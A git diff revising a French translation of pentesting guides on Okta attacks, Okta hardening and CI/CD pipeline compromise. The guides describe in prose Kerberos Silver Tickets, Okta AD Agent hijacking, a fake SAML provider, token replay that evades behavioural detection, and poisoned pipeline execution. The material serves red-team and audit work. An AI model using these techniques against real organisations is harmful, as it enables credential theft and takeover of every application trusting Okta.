-[Okta, Inc.](https://www.okta.com/) est reconnu dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des dispositifs.
+[Okta, Inc.](https://www.okta.com/) est reconnue dans le secteur de la gestion des identités et des accès pour ses solutions logicielles basées sur le cloud. Ces solutions sont conçues pour rationaliser et sécuriser l'authentification des utilisateurs à travers diverses applications modernes. Elles s'adressent non seulement aux entreprises cherchant à protéger leurs données sensibles, mais aussi aux développeurs intéressés par l'intégration de contrôles d'identité dans des applications, des services web et des appareils.
-L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme englobe une suite de produits, y compris mais sans s'y limiter :
+L'offre phare d'Okta est le **Okta Identity Cloud**. Cette plateforme comprend une suite de produits, y compris mais sans s'y limiter :
- **Single Sign-On (SSO)** : Simplifie l'accès des utilisateurs en permettant un ensemble de identifiants de connexion à travers plusieurs applications.
- **Multi-Factor Authentication (MFA)** : Renforce la sécurité en exigeant plusieurs formes de vérification.
- **Lifecycle Management** : Automatise la création, la mise à jour et la désactivation des comptes utilisateurs.
-- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des dispositifs.
+- **Universal Directory** : Permet la gestion centralisée des utilisateurs, des groupes et des appareils.
- **API Access Management** : Sécurise et gère l'accès aux API.
-Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnu comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
+Ces services visent collectivement à renforcer la protection des données et à rationaliser l'accès des utilisateurs, améliorant à la fois la sécurité et la commodité. La polyvalence des solutions d'Okta en fait un choix populaire dans divers secteurs, bénéfique pour les grandes entreprises, les petites sociétés et les développeurs individuels. À la dernière mise à jour en septembre 2021, Okta est reconnue comme une entité de premier plan dans le domaine de la gestion des identités et des accès (IAM).
> [!CAUTION]
-> Le principal objectif d'Okta est de configurer l'accès à différentes applications externes pour différents utilisateurs et groupes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement capable de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
+> Le principal objectif d'Okta est de configurer l'accès à différentes applications pour les utilisateurs et les groupes externes. Si vous parvenez à **compromettre les privilèges d'administrateur dans un environnement Okta**, vous serez très probablement en mesure de **compromettre toutes les autres plateformes utilisées par l'entreprise**.
> [!TIP]
> Pour effectuer un examen de sécurité d'un environnement Okta, vous devriez demander un **accès en lecture seule d'administrateur**.
-### Summary
+### Résumé
-Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **fournisseurs d'identité** configurés ou authentifiés via **Active Directory** ou LDAP).\
+Il y a des **utilisateurs** (qui peuvent être **stockés dans Okta,** connectés depuis des **Identity Providers** configurés ou authentifiés via **Active Directory** ou LDAP).\
Ces utilisateurs peuvent être dans des **groupes**.\
Il y a aussi des **authentificateurs** : différentes options pour s'authentifier comme le mot de passe, et plusieurs 2FA comme WebAuthn, email, téléphone, okta verify (ils peuvent être activés ou désactivés)...
-Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **politique d'authentification**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
+Ensuite, il y a des **applications** synchronisées avec Okta. Chaque application aura un certain **mapping avec Okta** pour partager des informations (comme les adresses email, les prénoms...). De plus, chaque application doit être dans une **Authentication Policy**, qui indique les **authentificateurs nécessaires** pour qu'un utilisateur **accède** à l'application.
> [!CAUTION]
> Le rôle le plus puissant est **Super Administrator**.
>
> Si un attaquant compromet Okta avec un accès Administrateur, toutes les **applications faisant confiance à Okta** seront très probablement **compromises**.
-## Attacks
+## Attaques
-### Locating Okta Portal
+### Localiser le portail Okta
-Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez de simples **variations** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
+Généralement, le portail d'une entreprise sera situé à **companyname.okta.com**. Si ce n'est pas le cas, essayez des **variations simples** de **companyname.** Si vous ne pouvez pas le trouver, il est également possible que l'organisation ait un enregistrement **CNAME** comme **`okta.companyname.com`** pointant vers le **portail Okta**.
-### Login in Okta via Kerberos
+### Connexion à Okta via Kerberos
-Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos, et accordant l'accès au tableau de bord Okta.
+Si **`companyname.kerberos.okta.com`** est actif, **Kerberos est utilisé pour l'accès à Okta**, contournant généralement **MFA** pour les utilisateurs **Windows**. Pour trouver les utilisateurs Okta authentifiés par Kerberos dans AD, exécutez **`getST.py`** avec **les paramètres appropriés**. Après avoir obtenu un **ticket utilisateur AD**, **injectez-le** dans un hôte contrôlé en utilisant des outils comme Rubeus ou Mimikatz, en vous assurant que **`clientname.kerberos.okta.com` est dans la zone "Intranet" des Options Internet**. Accéder à une URL spécifique devrait renvoyer une réponse JSON "OK", indiquant l'acceptation du ticket Kerberos et accordant l'accès au tableau de bord Okta.
Compromettre le **compte de service Okta avec le SPN de délégation permet une attaque Silver Ticket.** Cependant, l'utilisation par Okta de **AES** pour le chiffrement des tickets nécessite de posséder la clé AES ou le mot de passe en clair. Utilisez **`ticketer.py` pour générer un ticket pour l'utilisateur victime** et livrez-le via le navigateur pour s'authentifier avec Okta.
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking Okta AD Agent
+### Détournement de l'agent AD Okta
-Cette technique implique **d'accéder à l'Okta AD Agent sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en déchiffrant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
+Cette technique implique **l'accès à l'agent AD Okta sur un serveur**, qui **synchronise les utilisateurs et gère l'authentification**. En examinant et en décryptant les configurations dans **`OktaAgentService.exe.config`**, notamment le AgentToken en utilisant **DPAPI**, un attaquant peut potentiellement **intercepter et manipuler les données d'authentification**. Cela permet non seulement de **surveiller** et de **capturer les identifiants des utilisateurs** en clair pendant le processus d'authentification Okta, mais aussi de **répondre aux tentatives d'authentification**, permettant ainsi un accès non autorisé ou fournissant une authentification universelle via Okta (semblable à une 'clé maîtresse').
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Hijacking AD As an Admin
+### Détournement d'AD en tant qu'Admin
-Cette technique implique de détourner un Okta AD Agent en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
+Cette technique implique de détourner un agent AD Okta en obtenant d'abord un code OAuth, puis en demandant un jeton API. Le jeton est associé à un domaine AD, et un **connecteur est nommé pour établir un faux agent AD**. L'initialisation permet à l'agent de **traiter les tentatives d'authentification**, capturant les identifiants via l'API Okta. Des outils d'automatisation sont disponibles pour rationaliser ce processus, offrant une méthode fluide pour intercepter et gérer les données d'authentification dans l'environnement Okta.
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-### Okta Fake SAML Provider
+### Fournisseur SAML factice Okta
**Vérifiez l'attaque dans** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
-La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant que n'importe quel utilisateur Okta, contournant le besoin d'identifiants d'utilisateur individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
+La technique implique **le déploiement d'un fournisseur SAML factice**. En intégrant un fournisseur d'identité externe (IdP) dans le cadre d'Okta en utilisant un compte privilégié, les attaquants peuvent **contrôler l'IdP, approuvant toute demande d'authentification à volonté**. Le processus consiste à configurer un IdP SAML 2.0 dans Okta, à manipuler l'URL de connexion unique de l'IdP pour la redirection via le fichier hosts local, à générer un certificat auto-signé et à configurer les paramètres Okta pour correspondre au nom d'utilisateur ou à l'email. L'exécution réussie de ces étapes permet de s'authentifier en tant qu'utilisateur Okta, contournant le besoin d'identifiants individuels, élevant considérablement le contrôle d'accès de manière potentiellement inaperçue.
-### Phishing Okta Portal with Evilgnix
+### Attaque de phishing du portail Okta avec Evilgnix
Dans [**cet article de blog**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23), il est expliqué comment préparer une campagne de phishing contre un portail Okta.
-### Colleague Impersonation Attack
+### Attaque d'imitation de collègue
Les **attributs que chaque utilisateur peut avoir et modifier** (comme l'email ou le prénom) peuvent être configurés dans Okta. Si une **application** fait **confiance** à un **attribut** que l'utilisateur peut **modifier**, il pourra **imiter d'autres utilisateurs sur cette plateforme**.
-Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas changer ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
+Par conséquent, si l'application fait confiance au champ **`userName`**, vous ne pourrez probablement pas le changer (car vous ne pouvez généralement pas modifier ce champ), mais s'il fait confiance par exemple à **`primaryEmail`**, vous pourriez être en mesure de **le changer pour l'adresse email d'un collègue** et de l'imiter (vous devrez avoir accès à l'email et accepter le changement).
-Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles qui font confiance au champ que vous avez modifié et acceptent les mises à jour seront compromises.\
+Notez que cette imitation dépend de la façon dont chaque application a été configurée. Seules celles faisant confiance au champ que vous avez modifié et acceptant les mises à jour seront compromises.\
Par conséquent, l'application devrait avoir ce champ activé s'il existe :
@@ -86,7 +86,7 @@ J'ai également vu d'autres applications qui étaient vulnérables mais qui n'av
La meilleure façon de savoir si vous pourriez imiter quelqu'un sur chaque application serait de l'essayer !
-## Evading behavioural detection policies
+## Évasion des politiques de détection comportementale
Les politiques de détection comportementale dans Okta peuvent être inconnues jusqu'à ce qu'elles soient rencontrées, mais **les contourner** peut être réalisé en **ciblant directement les applications Okta**, évitant le tableau de bord principal d'Okta. Avec un **jeton d'accès Okta**, rejouez le jeton à l'**URL spécifique à l'application Okta** au lieu de la page de connexion principale.
@@ -94,11 +94,11 @@ Les recommandations clés incluent :
- **Évitez d'utiliser** des proxys anonymes populaires et des services VPN lors de la relecture des jetons d'accès capturés.
- Assurez-vous que les **chaînes d'agent utilisateur** sont **cohérentes** entre le client et les jetons d'accès rejoués.
-- **Évitez de rejouer** des jetons d'utilisateurs différents depuis la même adresse IP.
+- **Évitez de rejouer** des jetons provenant de différents utilisateurs depuis la même adresse IP.
- Faites preuve de prudence lors de la relecture des jetons contre le tableau de bord Okta.
- Si vous connaissez les adresses IP de l'entreprise victime, **limitez le trafic** à ces IP ou à leur plage, en bloquant tout autre trafic.
-## Okta Hardening
+## Renforcement d'Okta
Okta a beaucoup de configurations possibles, sur cette page vous trouverez comment les examiner pour qu'elles soient aussi sécurisées que possible :
@@ -106,7 +106,7 @@ Okta a beaucoup de configurations possibles, sur cette page vous trouverez comme
okta-hardening.md
{{#endref}}
-## References
+## Références
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md
index 30dfc235a..20f690691 100644
--- a/src/pentesting-ci-cd/okta-security/okta-hardening.md
+++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md
@@ -6,18 +6,18 @@
### People
-D'un point de vue des attaquants, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles ainsi que leurs systèmes d'exploitation).
+Du point de vue d'un attaquant, c'est super intéressant car vous pourrez voir **tous les utilisateurs enregistrés**, leurs **adresses email**, les **groupes** auxquels ils appartiennent, les **profils** et même les **appareils** (mobiles avec leurs systèmes d'exploitation).
Pour une revue en boîte blanche, vérifiez qu'il n'y a pas plusieurs "**Action utilisateur en attente**" et "**Réinitialisation de mot de passe**".
### Groups
-C'est ici que vous trouverez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordés aux **utilisateurs**.\
+C'est ici que vous trouvez tous les groupes créés dans Okta. Il est intéressant de comprendre les différents groupes (ensemble de **permissions**) qui pourraient être accordées aux **utilisateurs**.\
Il est possible de voir les **personnes incluses dans les groupes** et les **applications assignées** à chaque groupe.
Bien sûr, tout groupe avec le nom **admin** est intéressant, en particulier le groupe **Administrateurs globaux**, vérifiez les membres pour savoir qui sont les membres les plus privilégiés.
-D'une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
+Dans une revue en boîte blanche, il **ne devrait pas y avoir plus de 5 administrateurs globaux** (mieux s'il n'y en a que 2 ou 3).
### Devices
@@ -59,7 +59,7 @@ Vous pouvez trouver ici les applications configurées, mais nous verrons les dé
### Other
-Paramètre intéressant, mais rien de super intéressant d'un point de vue sécurité.
+Paramètre intéressant, mais rien de super intéressant du point de vue de la sécurité.
## Applications
@@ -79,7 +79,7 @@ Et vous pourriez voir quelques détails supplémentaires sur l'application (comm
### Access Certifications
-Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir périodiquement l'accès de vos utilisateurs aux ressources et d'approuver ou de révoquer l'accès automatiquement lorsque cela est nécessaire.
+Utilisez les Access Certifications pour créer des campagnes d'audit afin de revoir l'accès de vos utilisateurs aux ressources périodiquement et approuver ou révoquer l'accès automatiquement lorsque cela est nécessaire.
Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'est une bonne fonctionnalité.
@@ -91,7 +91,7 @@ Je ne l'ai pas vu utilisé, mais je suppose que d'un point de vue défensif, c'e
- **Intégration CAPTCHA** : Il est recommandé de définir au moins le reCaptcha invisible.
- **Sécurité de l'organisation** : Tout peut être activé et les emails d'activation ne devraient pas durer longtemps (7 jours c'est bien).
- **Prévention de l'énumération des utilisateurs** : Les deux devraient être activés.
-- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [Gestion des utilisateurs](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
+- Notez que la prévention de l'énumération des utilisateurs n'est pas efficace si l'une des conditions suivantes est autorisée (voir [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) pour plus d'informations) :
- Inscription en libre-service
- Flux JIT avec authentification par email
- **Paramètres Okta ThreatInsight** : Journaliser et appliquer la sécurité en fonction du niveau de menace.
@@ -122,15 +122,15 @@ Ici, vous pouvez trouver les politiques de session assignées à différents gro
-Il est recommandé de demander MFA, de limiter la durée de vie de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
+Il est recommandé de demander MFA, de limiter la durée de la session à quelques heures, de ne pas persister les cookies de session à travers les extensions de navigateur et de limiter l'emplacement et le fournisseur d'identité (si cela est possible). Par exemple, si chaque utilisateur doit se connecter depuis un pays, vous pourriez uniquement autoriser cet emplacement.
### Identity Providers
-Les fournisseurs d'identité (IdP) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdP dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
+Les fournisseurs d'identité (IdPs) sont des services qui **gèrent les comptes utilisateurs**. Ajouter des IdPs dans Okta permet à vos utilisateurs finaux de **s'inscrire eux-mêmes** à vos applications personnalisées en s'authentifiant d'abord avec un compte social ou une carte intelligente.
-Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdP) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdP, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
+Sur la page des fournisseurs d'identité, vous pouvez ajouter des connexions sociales (IdPs) et configurer Okta en tant que fournisseur de services (SP) en ajoutant SAML entrant. Après avoir ajouté des IdPs, vous pouvez configurer des règles de routage pour diriger les utilisateurs vers un IdP en fonction du contexte, tel que l'emplacement de l'utilisateur, l'appareil ou le domaine email.
-**Si un fournisseur d'identité est configuré**, d'un point de vue des attaquants et des défenseurs, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromet pourrait également accéder à l'environnement Okta.
+**Si un fournisseur d'identité est configuré**, du point de vue d'un attaquant et d'un défenseur, vérifiez cette configuration et **si la source est vraiment fiable**, car un attaquant qui la compromettrait pourrait également accéder à l'environnement Okta.
### Delegated Authentication
@@ -144,7 +144,7 @@ Une zone réseau est une limite configurable que vous pouvez utiliser pour **acc
Après avoir défini une ou plusieurs zones réseau, vous pouvez **les utiliser dans les politiques de session globales**, **les politiques d'authentification**, les notifications VPN et **les règles de routage**.
-D'un point de vue des attaquants, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si des **IP sont plus privilégiées** que d'autres). D'un point de vue des attaquants, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
+Du point de vue d'un attaquant, il est intéressant de savoir quelles IP sont autorisées (et de vérifier si certaines **IP sont plus privilégiées** que d'autres). Du point de vue d'un attaquant, si les utilisateurs doivent accéder depuis une adresse IP ou une région spécifique, vérifiez que cette fonctionnalité est utilisée correctement.
### Device Integrations
@@ -180,7 +180,7 @@ Ici, vous pouvez trouver les **journaux des actions effectuées par les utilisat
### Import Monitoring
-Cela peut **importer des journaux d'autres plateformes** accessibles avec Okta.
+Cela peut **importer des journaux des autres plateformes** accessibles avec Okta.
### Rate limits
@@ -190,7 +190,7 @@ Vérifiez les limites de taux API atteintes.
### Account
-Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour d'Okta et quel type de mises à jour d'Okta.
+Ici, vous pouvez trouver des **informations générales** sur l'environnement Okta, telles que le nom de l'entreprise, l'adresse, le **contact de facturation par email**, le **contact technique par email** et aussi qui devrait recevoir les mises à jour Okta et quel type de mises à jour Okta.
### Downloads
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 21d70f745..54b2a05c3 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Méthodologie de Pentesting CI/CD
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
-VCS signifie **Système de Contrôle de Version**, ces systèmes permettent aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
+VCS signifie **Système de Contrôle de Version**, ce système permet aux développeurs de **gérer leur code source**. Le plus courant est **git** et vous trouverez généralement des entreprises l'utilisant sur l'une des **plateformes** suivantes :
- Github
- Gitlab
@@ -14,42 +14,42 @@ VCS signifie **Système de Contrôle de Version**, ces systèmes permettent aux
- Gitea
- Fournisseurs de cloud (ils offrent leurs propres plateformes VCS)
-## CI/CD Pipelines
+## Pipelines CI/CD
Les pipelines CI/CD permettent aux développeurs d'**automatiser l'exécution du code** à diverses fins, y compris la construction, les tests et le déploiement d'applications. Ces flux de travail automatisés sont **déclenchés par des actions spécifiques**, telles que des envois de code, des demandes de tirage ou des tâches planifiées. Ils sont utiles pour rationaliser le processus du développement à la production.
Cependant, ces systèmes doivent être **exécutés quelque part** et généralement avec des **identifiants privilégiés pour déployer du code ou accéder à des informations sensibles**.
-## VCS Pentesting Methodology
+## Méthodologie de Pentesting VCS
> [!NOTE]
> Même si certaines plateformes VCS permettent de créer des pipelines, dans cette section, nous allons analyser uniquement les attaques potentielles sur le contrôle du code source.
-Les plateformes contenant le code source de votre projet contiennent des informations sensibles et les personnes doivent être très prudentes avec les autorisations accordées à l'intérieur de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que les attaquants pourraient exploiter :
+Les plateformes contenant le code source de votre projet contiennent des informations sensibles et les gens doivent être très prudents avec les autorisations accordées à l'intérieur de cette plateforme. Voici quelques problèmes courants sur les plateformes VCS que les attaquants pourraient exploiter :
- **Fuites** : Si votre code contient des fuites dans les commits et que l'attaquant peut accéder au dépôt (parce qu'il est public ou parce qu'il a accès), il pourrait découvrir les fuites.
-- **Accès** : Si un attaquant peut **accéder à un compte sur la plateforme VCS**, il pourrait obtenir **plus de visibilité et d'autorisations**.
+- **Accès** : Si un attaquant peut **accéder à un compte à l'intérieur de la plateforme VCS**, il pourrait obtenir **plus de visibilité et d'autorisations**.
- **Enregistrement** : Certaines plateformes ne permettront qu'aux utilisateurs externes de créer un compte.
- **SSO** : Certaines plateformes ne permettront pas aux utilisateurs de s'inscrire, mais permettront à quiconque d'accéder avec un SSO valide (donc un attaquant pourrait utiliser son compte github pour entrer par exemple).
- **Identifiants** : Nom d'utilisateur + Mot de passe, jetons personnels, clés ssh, jetons Oauth, cookies... il existe plusieurs types de jetons qu'un utilisateur pourrait voler pour accéder d'une manière ou d'une autre à un dépôt.
- **Webhooks** : Les plateformes VCS permettent de générer des webhooks. S'ils ne sont **pas protégés** par des secrets non visibles, un **attaquant pourrait en abuser**.
- Si aucun secret n'est en place, l'attaquant pourrait abuser du webhook de la plateforme tierce.
- Si le secret est dans l'URL, il en va de même et l'attaquant a également le secret.
-- **Compromission du code :** Si un acteur malveillant a un certain type d'accès **en écriture** sur les dépôts, il pourrait essayer d'**injecter du code malveillant**. Pour réussir, il pourrait avoir besoin de **contourner les protections de branche**. Ces actions peuvent être effectuées avec différents objectifs en tête :
+- **Compromission de code :** Si un acteur malveillant a un certain type d'accès **en écriture** sur les dépôts, il pourrait essayer d'**injecter du code malveillant**. Pour réussir, il pourrait avoir besoin de **contourner les protections de branche**. Ces actions peuvent être effectuées avec différents objectifs en tête :
- Compromettre la branche principale pour **compromettre la production**.
- Compromettre la principale (ou d'autres branches) pour **compromettre les machines des développeurs** (car ils exécutent généralement des tests, terraform ou d'autres choses à l'intérieur du dépôt sur leurs machines).
-- **Compromettre le pipeline** (voir la section suivante)
+- **Compromettre le pipeline** (voir la section suivante).
-## Pipelines Pentesting Methodology
+## Méthodologie de Pentesting des Pipelines
La manière la plus courante de définir un pipeline est d'utiliser un **fichier de configuration CI hébergé dans le dépôt** que le pipeline construit. Ce fichier décrit l'ordre des travaux exécutés, les conditions qui affectent le flux et les paramètres de l'environnement de construction.\
-Ces fichiers ont généralement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML des Actions GitHub situés sous .github/workflows. Lorsqu'il est déclenché, le travail du pipeline **tire le code** de la source sélectionnée (par exemple, commit / branche), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
+Ces fichiers ont généralement un nom et un format cohérents, par exemple — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), et les fichiers YAML des GitHub Actions situés sous .github/workflows. Lorsqu'il est déclenché, le travail du pipeline **tire le code** de la source sélectionnée (par exemple, commit / branche), et **exécute les commandes spécifiées dans le fichier de configuration CI** contre ce code.
Par conséquent, l'objectif ultime de l'attaquant est de **compromettre d'une manière ou d'une autre ces fichiers de configuration** ou les **commandes qu'ils exécutent**.
-### PPE - Poisoned Pipeline Execution
+### PPE - Exécution de Pipeline Empoisonné
-Le chemin de l'Exécution de Pipeline Empoisonné (PPE) exploite les autorisations dans un dépôt SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs ayant les autorisations nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le travail du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
+Le chemin d'Exécution de Pipeline Empoisonné (PPE) exploite les autorisations dans un dépôt SCM pour manipuler un pipeline CI et exécuter des commandes nuisibles. Les utilisateurs ayant les autorisations nécessaires peuvent modifier les fichiers de configuration CI ou d'autres fichiers utilisés par le travail du pipeline pour inclure des commandes malveillantes. Cela "empoisonne" le pipeline CI, entraînant l'exécution de ces commandes malveillantes.
Pour qu'un acteur malveillant réussisse à effectuer une attaque PPE, il doit être capable de :
@@ -65,7 +65,7 @@ Il existe 3 variantes de PPE :
- **PPE Public ou 3PE** : Dans certains cas, les pipelines peuvent être **déclenchés par des utilisateurs qui n'ont pas d'accès en écriture dans le dépôt** (et qui pourraient même ne pas faire partie de l'organisation) car ils peuvent envoyer une PR.
- **Injection de Commande 3PE** : En général, les pipelines CI/CD **définiront des variables d'environnement** avec **des informations sur la PR**. Si cette valeur peut être contrôlée par un attaquant (comme le titre de la PR) et est **utilisée** dans un **endroit dangereux** (comme l'exécution de **commandes sh**), un attaquant pourrait **injecter des commandes là-dedans**.
-### Exploitation Benefits
+### Avantages de l'Exploitation
Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaquant pourrait obtenir après une exploitation réussie :
@@ -78,26 +78,26 @@ Connaissant les 3 variantes pour empoisonner un pipeline, voyons ce qu'un attaqu
- **Sélectionnez-le :** Parfois, la **plateforme des pipelines aura configuré plusieurs machines** et si vous pouvez **modifier le fichier de configuration CI**, vous pouvez **indiquer où vous souhaitez exécuter le code malveillant**. Dans cette situation, un attaquant exécutera probablement un shell inversé sur chaque machine possible pour essayer de l'exploiter davantage.
- **Compromettre la production** : Si vous êtes à l'intérieur du pipeline et que la version finale est construite et déployée à partir de celui-ci, vous pourriez **compromettre le code qui va finir par s'exécuter en production**.
-## More relevant info
+## Informations plus pertinentes
-### Tools & CIS Benchmark
+### Outils & Benchmark CIS
-- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre chaîne d'approvisionnement logicielle pour la conformité en matière de sécurité basé sur un nouveau [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques du temps de code au temps de déploiement.
+- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) est un outil open-source pour auditer votre chaîne d'approvisionnement logicielle pour la conformité en matière de sécurité basé sur un nouveau [**benchmark CIS Software Supply Chain**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). L'audit se concentre sur l'ensemble du processus SDLC, où il peut révéler des risques depuis le temps de code jusqu'au temps de déploiement.
-### Top 10 CI/CD Security Risk
+### Top 10 des Risques de Sécurité CI/CD
Consultez cet article intéressant sur les 10 principaux risques CI/CD selon Cider : [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
-### Labs
+### Laboratoires
- Sur chaque plateforme que vous pouvez exécuter localement, vous trouverez comment la lancer localement afin que vous puissiez la configurer comme vous le souhaitez pour la tester.
